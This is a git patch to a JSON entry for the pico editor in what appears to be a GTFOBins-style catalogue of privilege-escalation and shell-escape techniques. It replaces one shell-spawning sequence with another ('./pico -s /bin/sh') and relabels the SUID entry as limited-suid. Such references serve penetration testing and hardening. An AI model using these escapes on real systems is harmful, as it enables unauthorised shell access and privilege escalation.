From cc817c18435726af667234bea07ec4d474ccf498 Mon Sep 17 00:00:00 2001 From: "Mr. Robot" Date: Sun, 10 Jan 2021 21:23:19 +0100 Subject: [PATCH] fix pico suid command --- data/pico.json | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/data/pico.json b/data/pico.json index bc1b9a9..d0b5aa9 100644 --- a/data/pico.json +++ b/data/pico.json @@ -11,7 +11,7 @@ ], "file-write": [ { - "code": "pico [file]\nDATA\n^O\n" + "code": "pico [file]\n[data]\n^O\n" } ], "file-read": [ @@ -19,10 +19,10 @@ "code": "pico [file]" } ], - "suid": [ + "limited-suid": [ { "description": "The 'SPELL' environment variable can be used in place of the '-s' option if the command line cannot be changed.", - "code": "./pico\n^R^X\nreset; sh 1>&0 2>&0\n" + "code": "./pico -s /bin/sh\n/bin/sh\n^T\n" } ], "sudo": [ @@ -31,4 +31,4 @@ } ] } -} \ No newline at end of file +}